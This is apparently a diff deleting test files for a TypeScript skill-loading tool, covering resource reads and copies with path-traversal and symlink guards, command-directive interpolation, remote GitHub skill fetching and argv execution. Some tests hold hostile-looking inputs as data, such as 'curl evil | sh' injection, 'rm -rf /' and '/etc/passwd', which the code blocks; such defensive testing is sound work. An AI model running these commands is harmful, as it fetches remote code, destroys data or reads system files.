|
|
410
|
-
formatExpandedSkillResult(
|
|
411
|
-
{ mode: "instructions", name: "test", lines: 1 },
|
|
412
|
-
"short instructions",
|
|
413
|
-
),
|
|
414
|
-
).toBe("INSTRUCTIONS · test · 1 lines\nshort instructions");
|
|
415
|
-
expect(
|
|
416
|
-
formatExpandedSkillResult(
|
|
417
|
-
{
|
|
418
|
-
mode: "reference",
|
|
419
|
-
name: "docx",
|
|
420
|
-
resource: "references/guide.md",
|
|
421
|
-
bytes: 120,
|
|
422
|
-
},
|
|
423
|
-
"portable guidance",
|
|
424
|
-
),
|
|
425
|
-
).toBe("REFERENCE · docx\nreferences/guide.md · 120 B\nportable guidance");
|
|
426
|
-
expect(
|
|
427
|
-
formatExpandedSkillResult(
|
|
428
|
-
{
|
|
429
|
-
mode: "copy",
|
|
430
|
-
name: "docx",
|
|
431
|
-
resource: "scripts/render.ts",
|
|
432
|
-
output: ".pi/tools/render.ts",
|
|
433
|
-
bytes: 2048,
|
|
434
|
-
},
|
|
435
|
-
"",
|
|
436
|
-
),
|
|
437
|
-
).toBe("COPIED · docx\nscripts/render.ts → .pi/tools/render.ts · 2.0 KiB");
|
|
438
|
-
});
|
|
439
|
-
});
|
|
440
|
-
|
|
441
|
-
describe("formatSkillSummary", () => {
|
|
442
|
-
it("renders muted placeholder for empty input", () => {
|
|
443
|
-
expect(formatSkillSummary("", tagTheme)).toBe("[muted]No skills found.[/]");
|
|
444
|
-
});
|
|
445
|
-
|
|
446
|
-
it("renders single skill as bold-accent name + dim description", () => {
|
|
447
|
-
const out = formatSkillSummary(FRONTMATTER, tagTheme);
|
|
448
|
-
expect(out).toBe("[accent]<b>commit</b>[/] [dim]Split, write, and maintain commits.[/]");
|
|
449
|
-
});
|
|
450
|
-
|
|
451
|
-
it("falls back to (no description) when frontmatter has name only", () => {
|
|
452
|
-
const out = formatSkillSummary("---\nname: solo\n---\n", tagTheme);
|
|
453
|
-
expect(out).toBe("[accent]<b>solo</b>[/] [dim](no description)[/]");
|
|
454
|
-
});
|
|
455
|
-
|
|
456
|
-
it("renders a list of 'name: desc' lines, each colored", () => {
|
|
457
|
-
const list = "commit: write commits\ndebug: root cause analysis";
|
|
458
|
-
const out = formatSkillSummary(list, tagTheme);
|
|
459
|
-
const lines = out.split("\n");
|
|
460
|
-
expect(lines).toHaveLength(2);
|
|
461
|
-
expect(lines[0]).toBe("[accent]<b>commit</b>[/] [dim]write commits[/]");
|
|
462
|
-
expect(lines[1]).toBe("[accent]<b>debug</b>[/] [dim]root cause analysis[/]");
|
|
463
|
-
});
|
|
464
|
-
|
|
465
|
-
it("passes non 'name: desc' lines through as muted", () => {
|
|
466
|
-
const out = formatSkillSummary("Available skills (3):", tagTheme);
|
|
467
|
-
expect(out).toBe("[muted]Available skills (3):[/]");
|
|
468
|
-
});
|
|
469
|
-
});
|
|
470
|
-
|
|
471
|
-
describe("readSkillResource", () => {
|
|
472
|
-
const roots: string[] = [];
|
|
473
|
-
const makeBundle = async () => {
|
|
474
|
-
const root = await mkdtemp(join(tmpdir(), "pix-skill-resource-"));
|
|
475
|
-
roots.push(root);
|
|
476
|
-
await mkdir(join(root, "references"));
|
|
477
|
-
await mkdir(join(root, "scripts"));
|
|
478
|
-
await mkdir(join(root, "assets"));
|
|
479
|
-
return root;
|
|
480
|
-
};
|
|
481
|
-
|
|
482
|
-
afterEach(async () => {
|
|
483
|
-
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })));
|
|
484
|
-
});
|
|
485
|
-
|
|
486
|
-
it("reads a file from a conventional resource directory", async () => {
|
|
487
|
-
const root = await makeBundle();
|
|
488
|
-
await writeFile(join(root, "references", "guide.md"), "portable guidance");
|
|
489
|
-
|
|
490
|
-
await expect(readSkillResource(root, "references/guide.md")).resolves.toBe("portable guidance");
|
|
491
|
-
});
|
|
492
|
-
|
|
493
|
-
it("requires output instead of returning scripts or assets to context", async () => {
|
|
494
|
-
const root = await makeBundle();
|
|
495
|
-
await writeFile(join(root, "scripts", "render.ts"), "content");
|
|
496
|
-
await writeFile(join(root, "assets", "theme.json"), "{}");
|
|
497
|
-
|
|
498
|
-
await expect(readSkillResource(root, "scripts/render.ts")).rejects.toThrow(
|
|
499
|
-
"Output is required for scripts/ and assets/ resources",
|
|
500
|
-
);
|
|
501
|
-
await expect(readSkillResource(root, "assets/theme.json")).rejects.toThrow(
|
|
502
|
-
"Output is required for scripts/ and assets/ resources",
|
|
503
|
-
);
|
|
504
|
-
});
|
|
505
|
-
|
|
506
|
-
it("rejects files outside scripts, references, and assets", async () => {
|
|
507
|
-
const root = await makeBundle();
|
|
508
|
-
await writeFile(join(root, "private.txt"), "secret");
|
|
509
|
-
|
|
510
|
-
await expect(readSkillResource(root, "private.txt")).rejects.toThrow("Invalid resource path");
|
|
511
|
-
});
|
|
512
|
-
|
|
513
|
-
it("rejects absolute paths and parent traversal", async () => {
|
|
514
|
-
const root = await makeBundle();
|
|
515
|
-
|
|
516
|
-
await expect(readSkillResource(root, "/etc/passwd")).rejects.toThrow("Invalid resource path");
|
|
517
|
-
await expect(readSkillResource(root, "references/../../secret")).rejects.toThrow(
|
|
518
|
-
"Invalid resource path",
|
|
519
|
-
);
|
|
520
|
-
});
|
|
521
|
-
|
|
522
|
-
it("rejects symlinks that escape the skill bundle", async () => {
|
|
523
|
-
const root = await makeBundle();
|
|
524
|
-
const outside = await mkdtemp(join(tmpdir(), "pix-skill-outside-"));
|
|
525
|
-
roots.push(outside);
|
|
526
|
-
await writeFile(join(outside, "secret.txt"), "secret");
|
|
527
|
-
await symlink(join(outside, "secret.txt"), join(root, "assets", "escape.txt"));
|
|
528
|
-
|
|
529
|
-
await expect(readSkillResource(root, "assets/escape.txt")).rejects.toThrow(
|
|
530
|
-
"Invalid resource path",
|
|
531
|
-
);
|
|
532
|
-
});
|
|
533
|
-
});
|
|
534
|
-
|
|
535
|
-
describe("copySkillResource", () => {
|
|
536
|
-
const roots: string[] = [];
|
|
537
|
-
const makeDirectories = async () => {
|
|
538
|
-
const bundle = await mkdtemp(join(tmpdir(), "pix-skill-copy-source-"));
|
|
539
|
-
const project = await mkdtemp(join(tmpdir(), "pix-skill-copy-output-"));
|
|
540
|
-
roots.push(bundle, project);
|
|
541
|
-
await mkdir(join(bundle, "scripts"));
|
|
542
|
-
await mkdir(join(bundle, "references"));
|
|
543
|
-
await mkdir(join(bundle, "assets"));
|
|
544
|
-
return { bundle, project };
|
|
545
|
-
};
|
|
546
|
-
|
|
547
|
-
afterEach(async () => {
|
|
548
|
-
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })));
|
|
549
|
-
});
|
|
550
|
-
|
|
551
|
-
it("copies a script as raw bytes into the project", async () => {
|
|
552
|
-
const { bundle, project } = await makeDirectories();
|
|
553
|
-
await writeFile(join(bundle, "scripts", "render.ts"), "console.log('render')\n");
|
|
554
|
-
|
|
555
|
-
const result = await copySkillResource(
|
|
556
|
-
bundle,
|
|
557
|
-
"scripts/render.ts",
|
|
558
|
-
project,
|
|
559
|
-
".pi/tools/render.ts",
|
|
560
|
-
);
|
|
561
|
-
|
|
562
|
-
expect(result.path).toBe(join(project, ".pi/tools/render.ts"));
|
|
563
|
-
expect(result.bytes).toBe(22);
|
|
564
|
-
await expect(Bun.file(result.path).text()).resolves.toBe("console.log('render')\n");
|
|
565
|
-
});
|
|
566
|
-
|
|
567
|
-
it("copies a binary asset without decoding it", async () => {
|
|
568
|
-
const { bundle, project } = await makeDirectories();
|
|
569
|
-
const bytes = Uint8Array.from([0, 255, 17, 34]);
|
|
570
|
-
await writeFile(join(bundle, "assets", "template.bin"), bytes);
|
|
571
|
-
|
|
572
|
-
const result = await copySkillResource(
|
|
573
|
-
bundle,
|
|
574
|
-
"assets/template.bin",
|
|
575
|
-
project,
|
|
576
|
-
".pi/tools/template.bin",
|
|
577
|
-
);
|
|
578
|
-
|
|
579
|
-
expect(new Uint8Array(await Bun.file(result.path).arrayBuffer())).toEqual(bytes);
|
|
580
|
-
});
|
|
581
|
-
|
|
582
|
-
it("allows references to be copied instead of returned to context", async () => {
|
|
583
|
-
const { bundle, project } = await makeDirectories();
|
|
584
|
-
await writeFile(join(bundle, "references", "long.md"), "large reference");
|
|
585
|
-
|
|
586
|
-
const result = await copySkillResource(
|
|
587
|
-
bundle,
|
|
588
|
-
"references/long.md",
|
|
589
|
-
project,
|
|
590
|
-
".pi/references/long.md",
|
|
591
|
-
);
|
|
592
|
-
|
|
593
|
-
await expect(Bun.file(result.path).text()).resolves.toBe("large reference");
|
|
594
|
-
});
|
|
595
|
-
|
|
596
|
-
it("rejects unsafe output paths", async () => {
|
|
597
|
-
const { bundle, project } = await makeDirectories();
|
|
598
|
-
await writeFile(join(bundle, "scripts", "render.ts"), "content");
|
|
599
|
-
|
|
600
|
-
await expect(
|
|
601
|
-
copySkillResource(bundle, "scripts/render.ts", project, "../outside.ts"),
|
|
602
|
-
).rejects.toThrow("Invalid output path");
|
|
603
|
-
await expect(
|
|
604
|
-
copySkillResource(bundle, "scripts/render.ts", project, "/tmp/outside.ts"),
|
|
605
|
-
).rejects.toThrow("Invalid output path");
|
|
606
|
-
});
|
|
607
|
-
|
|
608
|
-
it("rejects output parents that symlink outside the project", async () => {
|
|
609
|
-
const { bundle, project } = await makeDirectories();
|
|
610
|
-
const outside = await mkdtemp(join(tmpdir(), "pix-skill-copy-outside-"));
|
|
611
|
-
roots.push(outside);
|
|
612
|
-
await writeFile(join(bundle, "scripts", "render.ts"), "content");
|
|
613
|
-
await symlink(outside, join(project, "escape"));
|
|
614
|
-
|
|
615
|
-
await expect(
|
|
616
|
-
copySkillResource(bundle, "scripts/render.ts", project, "escape/render.ts"),
|
|
617
|
-
).rejects.toThrow("Invalid output path");
|
|
618
|
-
});
|
|
619
|
-
|
|
620
|
-
it("replaces an output symlink without writing through it", async () => {
|
|
621
|
-
const { bundle, project } = await makeDirectories();
|
|
622
|
-
const outside = await mkdtemp(join(tmpdir(), "pix-skill-copy-target-"));
|
|
623
|
-
roots.push(outside);
|
|
624
|
-
await writeFile(join(bundle, "scripts", "render.ts"), "safe content");
|
|
625
|
-
await writeFile(join(outside, "target.ts"), "outside content");
|
|
626
|
-
await symlink(join(outside, "target.ts"), join(project, "render.ts"));
|
|
627
|
-
|
|
628
|
-
await copySkillResource(bundle, "scripts/render.ts", project, "render.ts");
|
|
629
|
-
|
|
630
|
-
await expect(Bun.file(join(outside, "target.ts")).text()).resolves.toBe("outside content");
|
|
631
|
-
await expect(Bun.file(join(project, "render.ts")).text()).resolves.toBe("safe content");
|
|
632
|
-
});
|
|
633
|
-
});
|
|
634
|
-
|
|
635
|
-
describe("findCommandDirectives", () => {
|
|
636
|
-
it("matches !`cmd` with source span", () => {
|
|
637
|
-
const md = "x\n!`git status -s`\ny";
|
|
638
|
-
const hits = findCommandDirectives(md);
|
|
639
|
-
expect(hits).toHaveLength(1);
|
|
640
|
-
expect(hits[0]?.command).toBe("git status -s");
|
|
641
|
-
expect(md.slice(hits[0]?.start, hits[0]?.end)).toBe("!`git status -s`");
|
|
642
|
-
});
|
|
643
|
-
|
|
644
|
-
it("ignores plain inline code `cmd`", () => {
|
|
645
|
-
expect(findCommandDirectives("use `git status`")).toEqual([]);
|
|
646
|
-
});
|
|
647
|
-
|
|
648
|
-
it("ignores escaped \\!`cmd`", () => {
|
|
649
|
-
expect(findCommandDirectives("\\!`rm -rf /`")).toEqual([]);
|
|
650
|
-
});
|
|
651
|
-
|
|
652
|
-
it("finds multiple", () => {
|
|
653
|
-
expect(findCommandDirectives("!`pwd` !`git diff`").map((d) => d.command)).toEqual([
|
|
654
|
-
"pwd",
|
|
655
|
-
"git diff",
|
|
656
|
-
]);
|
|
657
|
-
});
|
|
658
|
-
});
|
|
659
|
-
|
|
660
|
-
describe("replaceSpan", () => {
|
|
661
|
-
it("swaps a span for replacement text", () => {
|
|
662
|
-
expect(replaceSpan("a XX b", 2, 4, "YY")).toBe("a YY b");
|
|
663
|
-
});
|
|
664
|
-
});
|
|
665
|
-
|
|
666
|
-
describe("hasShellMeta", () => {
|
|
667
|
-
for (const ch of [";", "|", "&", "$", "`", ">", "<", "(", ")", "{", "}", "\n"]) {
|
|
668
|
-
it(`flags ${JSON.stringify(ch)}`, () => {
|
|
669
|
-
expect(hasShellMeta(`git status ${ch}`)).toBe(true);
|
|
670
|
-
});
|
|
671
|
-
}
|
|
672
|
-
it("passes a plain command", () => {
|
|
673
|
-
expect(hasShellMeta("git status -s")).toBe(false);
|
|
674
|
-
});
|
|
675
|
-
});
|
|
676
|
-
|
|
677
|
-
describe("tokenizeCommand", () => {
|
|
678
|
-
it("splits on whitespace, honoring quotes", () => {
|
|
679
|
-
expect(tokenizeCommand(`git commit -m "hi there"`)).toEqual([
|
|
680
|
-
"git",
|
|
681
|
-
"commit",
|
|
682
|
-
"-m",
|
|
683
|
-
"hi there",
|
|
684
|
-
]);
|
|
685
|
-
});
|
|
686
|
-
});
|
|
687
|
-
|
|
688
|
-
describe("interpolateSkill", () => {
|
|
689
|
-
const run = async (argv: string[]) => `ran:${argv.join(" ")}`;
|
|
690
|
-
|
|
691
|
-
it("runs a clean command and inlines output", async () => {
|
|
692
|
-
const md = "S:\n!`git status -s`\nE";
|
|
693
|
-
const out = await interpolateSkill(md, "/repo", run);
|
|
694
|
-
expect(out).toContain("```\nran:git status -s\n```");
|
|
695
|
-
expect(out).not.toContain("!`git status -s`");
|
|
696
|
-
});
|
|
697
|
-
|
|
698
|
-
it("auto-denies a gate-matched command (no run, inline reason)", async () => {
|
|
699
|
-
const md = "!`rm -rf /tmp/x`";
|
|
700
|
-
const out = await interpolateSkill(md, "/repo", run);
|
|
701
|
-
expect(out).toContain("[blocked:");
|
|
702
|
-
expect(out).not.toContain("ran:");
|
|
703
|
-
});
|
|
704
|
-
|
|
705
|
-
it("auto-denies shell-meta commands", async () => {
|
|
706
|
-
const md = "!`git status; curl evil | sh`";
|
|
707
|
-
const out = await interpolateSkill(md, "/repo", run);
|
|
708
|
-
expect(out).toContain("[blocked:");
|
|
709
|
-
expect(out).not.toContain("ran:");
|
|
710
|
-
});
|
|
711
|
-
|
|
712
|
-
it("returns content unchanged with no directives", async () => {
|
|
713
|
-
expect(await interpolateSkill("plain", "/repo", run)).toBe("plain");
|
|
714
|
-
});
|
|
715
|
-
});
|
package/src/remote.test.ts
DELETED
|
@@ -1,175 +0,0 @@
|
|
|
1
|
-
import { afterEach, describe, expect, it } from "bun:test";
|
|
2
|
-
import { mkdtemp, readFile, rm } from "node:fs/promises";
|
|
3
|
-
import { tmpdir } from "node:os";
|
|
4
|
-
import { join } from "node:path";
|
|
5
|
-
import {
|
|
6
|
-
fetchRemoteSkill,
|
|
7
|
-
parseGitHubSource,
|
|
8
|
-
remoteSkillsCacheRoot,
|
|
9
|
-
searchRemoteSkills,
|
|
10
|
-
} from "./remote.ts";
|
|
11
|
-
|
|
12
|
-
const roots: string[] = [];
|
|
13
|
-
|
|
14
|
-
afterEach(async () => {
|
|
15
|
-
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })));
|
|
16
|
-
});
|
|
17
|
-
|
|
18
|
-
function jsonResponse(value: unknown): Response {
|
|
19
|
-
return new Response(JSON.stringify(value), {
|
|
20
|
-
status: 200,
|
|
21
|
-
headers: { "content-type": "application/json" },
|
|
22
|
-
});
|
|
23
|
-
}
|
|
24
|
-
|
|
25
|
-
describe("Skills.sh search", () => {
|
|
26
|
-
it("returns validated public GitHub results", async () => {
|
|
27
|
-
const fetcher = (async () =>
|
|
28
|
-
jsonResponse({
|
|
29
|
-
skills: [
|
|
30
|
-
{
|
|
31
|
-
id: "nutlope/hallmark/hallmark",
|
|
32
|
-
name: "hallmark",
|
|
33
|
-
installs: 24849,
|
|
34
|
-
source: "nutlope/hallmark",
|
|
35
|
-
},
|
|
36
|
-
{ id: "bad", name: "../bad", installs: 1, source: "not-a-repo" },
|
|
37
|
-
],
|
|
38
|
-
})) as unknown as typeof fetch;
|
|
39
|
-
const results = await searchRemoteSkills("hallmark", fetcher);
|
|
40
|
-
expect(results).toEqual([
|
|
41
|
-
{
|
|
42
|
-
name: "hallmark",
|
|
43
|
-
slug: "nutlope/hallmark/hallmark",
|
|
44
|
-
source: "nutlope/hallmark",
|
|
45
|
-
installs: 24849,
|
|
46
|
-
},
|
|
47
|
-
]);
|
|
48
|
-
});
|
|
49
|
-
|
|
50
|
-
it("rejects undersized queries", async () => {
|
|
51
|
-
expect(searchRemoteSkills("x")).rejects.toThrow("between 2 and 200");
|
|
52
|
-
});
|
|
53
|
-
|
|
54
|
-
it("cancels an in-flight search", async () => {
|
|
55
|
-
const controller = new AbortController();
|
|
56
|
-
const fetcher = ((_input: string | URL | Request, init?: RequestInit) =>
|
|
57
|
-
new Promise<Response>((_resolve, reject) => {
|
|
58
|
-
init?.signal?.addEventListener(
|
|
59
|
-
"abort",
|
|
60
|
-
() => reject(init.signal?.reason ?? new DOMException("Aborted", "AbortError")),
|
|
61
|
-
{ once: true },
|
|
62
|
-
);
|
|
63
|
-
})) as typeof fetch;
|
|
64
|
-
|
|
65
|
-
const pending = searchRemoteSkills("hallmark", fetcher, { signal: controller.signal });
|
|
66
|
-
controller.abort();
|
|
67
|
-
|
|
68
|
-
await expect(pending).rejects.toThrow("Remote request cancelled");
|
|
69
|
-
});
|
|
70
|
-
});
|
|
71
|
-
|
|
72
|
-
describe("remote skill fetching", () => {
|
|
73
|
-
it("uses Pi's flat XDG cache directory", () => {
|
|
74
|
-
const previous = process.env.XDG_CACHE_HOME;
|
|
75
|
-
process.env.XDG_CACHE_HOME = "/tmp/pix-xdg-cache";
|
|
76
|
-
try {
|
|
77
|
-
expect(remoteSkillsCacheRoot()).toBe("/tmp/pix-xdg-cache/pi/skills.sh");
|
|
78
|
-
} finally {
|
|
79
|
-
if (previous === undefined) delete process.env.XDG_CACHE_HOME;
|
|
80
|
-
else process.env.XDG_CACHE_HOME = previous;
|
|
81
|
-
}
|
|
82
|
-
});
|
|
83
|
-
|
|
84
|
-
it("parses GitHub shorthand and URLs", () => {
|
|
85
|
-
expect(parseGitHubSource("nutlope/hallmark")).toEqual({ owner: "nutlope", repo: "hallmark" });
|
|
86
|
-
expect(parseGitHubSource("https://github.com/nutlope/hallmark.git")).toEqual({
|
|
87
|
-
owner: "nutlope",
|
|
88
|
-
repo: "hallmark",
|
|
89
|
-
});
|
|
90
|
-
expect(() => parseGitHubSource("https://example.com/skill")).toThrow("public GitHub");
|
|
91
|
-
});
|
|
92
|
-
|
|
93
|
-
it("fetches a conventional bundle and reuses its cache", async () => {
|
|
94
|
-
const root = await mkdtemp(join(tmpdir(), "pix-remote-skill-"));
|
|
95
|
-
roots.push(root);
|
|
96
|
-
const calls: string[] = [];
|
|
97
|
-
const skill = `---\nname: hallmark\ndescription: Anti-slop design.\n---\n# Hallmark\n`;
|
|
98
|
-
const fetcher = async (input: string | URL | Request) => {
|
|
99
|
-
const url = String(input);
|
|
100
|
-
calls.push(url);
|
|
101
|
-
if (url.includes("/git/trees/HEAD")) {
|
|
102
|
-
return jsonResponse({
|
|
103
|
-
tree: [
|
|
104
|
-
{ path: "skills/hallmark/SKILL.md", type: "blob", size: skill.length },
|
|
105
|
-
{ path: "skills/hallmark/references/rules.md", type: "blob", size: 6 },
|
|
106
|
-
{ path: "README.md", type: "blob", size: 100 },
|
|
107
|
-
],
|
|
108
|
-
});
|
|
109
|
-
}
|
|
110
|
-
if (url.endsWith("skills/hallmark/SKILL.md")) return new Response(skill);
|
|
111
|
-
if (url.endsWith("skills/hallmark/references/rules.md")) return new Response("rules\n");
|
|
112
|
-
return new Response("not found", { status: 404 });
|
|
113
|
-
};
|
|
114
|
-
|
|
115
|
-
const first = await fetchRemoteSkill("nutlope/hallmark", "hallmark", {
|
|
116
|
-
cacheRoot: root,
|
|
117
|
-
fetcher: fetcher as typeof fetch,
|
|
118
|
-
});
|
|
119
|
-
expect(first.cached).toBe(false);
|
|
120
|
-
expect(await readFile(first.path, "utf-8")).toBe(skill);
|
|
121
|
-
expect(await readFile(join(first.root, "references", "rules.md"), "utf-8")).toBe("rules\n");
|
|
122
|
-
const callCount = calls.length;
|
|
123
|
-
|
|
124
|
-
const second = await fetchRemoteSkill("nutlope/hallmark", "hallmark", {
|
|
125
|
-
cacheRoot: root,
|
|
126
|
-
fetcher: fetcher as typeof fetch,
|
|
127
|
-
});
|
|
128
|
-
expect(second.cached).toBe(true);
|
|
129
|
-
expect(calls).toHaveLength(callCount);
|
|
130
|
-
});
|
|
131
|
-
|
|
132
|
-
it("times out a stalled remote fetch", async () => {
|
|
133
|
-
const root = await mkdtemp(join(tmpdir(), "pix-remote-skill-"));
|
|
134
|
-
roots.push(root);
|
|
135
|
-
let aborted = false;
|
|
136
|
-
const fetcher = ((_input: string | URL | Request, init?: RequestInit) =>
|
|
137
|
-
new Promise<Response>((_resolve, reject) => {
|
|
138
|
-
init?.signal?.addEventListener(
|
|
139
|
-
"abort",
|
|
140
|
-
() => {
|
|
141
|
-
aborted = true;
|
|
142
|
-
reject(new DOMException("Aborted", "AbortError"));
|
|
143
|
-
},
|
|
144
|
-
{ once: true },
|
|
145
|
-
);
|
|
146
|
-
})) as typeof fetch;
|
|
147
|
-
|
|
148
|
-
await expect(
|
|
149
|
-
fetchRemoteSkill("owner/repo", "hallmark", {
|
|
150
|
-
cacheRoot: root,
|
|
151
|
-
fetcher,
|
|
152
|
-
timeoutMs: 10,
|
|
153
|
-
}),
|
|
154
|
-
).rejects.toThrow("Remote request timed out after 10 ms");
|
|
155
|
-
expect(aborted).toBe(true);
|
|
156
|
-
});
|
|
157
|
-
|
|
158
|
-
it("requires the selected skill name to match frontmatter", async () => {
|
|
159
|
-
const root = await mkdtemp(join(tmpdir(), "pix-remote-skill-"));
|
|
160
|
-
roots.push(root);
|
|
161
|
-
const fetcher = async (input: string | URL | Request) => {
|
|
162
|
-
const url = String(input);
|
|
163
|
-
if (url.includes("/git/trees/HEAD")) {
|
|
164
|
-
return jsonResponse({ tree: [{ path: "SKILL.md", type: "blob", size: 50 }] });
|
|
165
|
-
}
|
|
166
|
-
return new Response("---\nname: other\ndescription: no\n---\n");
|
|
167
|
-
};
|
|
168
|
-
expect(
|
|
169
|
-
fetchRemoteSkill("owner/repo", "hallmark", {
|
|
170
|
-
cacheRoot: root,
|
|
171
|
-
fetcher: fetcher as typeof fetch,
|
|
172
|
-
}),
|
|
173
|
-
).rejects.toThrow('Skill "hallmark" was not found');
|
|
174
|
-
});
|
|
175
|
-
});
|
package/src/run.test.ts
DELETED
|
@@ -1,25 +0,0 @@
|
|
|
1
|
-
import { describe, expect, it } from "bun:test";
|
|
2
|
-
import { runArgv } from "./run.ts";
|
|
3
|
-
|
|
4
|
-
describe("runArgv", () => {
|
|
5
|
-
it("captures stdout", async () => {
|
|
6
|
-
expect((await runArgv(["echo", "hello"], { cwd: process.cwd() })).trim()).toBe("hello");
|
|
7
|
-
});
|
|
8
|
-
|
|
9
|
-
it("caps output at maxBytes", async () => {
|
|
10
|
-
const out = await runArgv(["head", "-c", "100000", "/dev/zero"], {
|
|
11
|
-
cwd: process.cwd(),
|
|
12
|
-
maxBytes: 1000,
|
|
13
|
-
});
|
|
14
|
-
expect(out.length).toBeLessThanOrEqual(1100);
|
|
15
|
-
});
|
|
16
|
-
|
|
17
|
-
it("returns text on failure without throwing", async () => {
|
|
18
|
-
const out = await runArgv(["ls", "/no/such/xyz"], { cwd: process.cwd() });
|
|
19
|
-
expect(out.length).toBeGreaterThan(0);
|
|
20
|
-
});
|
|
21
|
-
|
|
22
|
-
it("handles empty argv", async () => {
|
|
23
|
-
expect(await runArgv([], { cwd: process.cwd() })).toBe("(empty command)");
|
|
24
|
-
});
|
|
25
|
-
});
|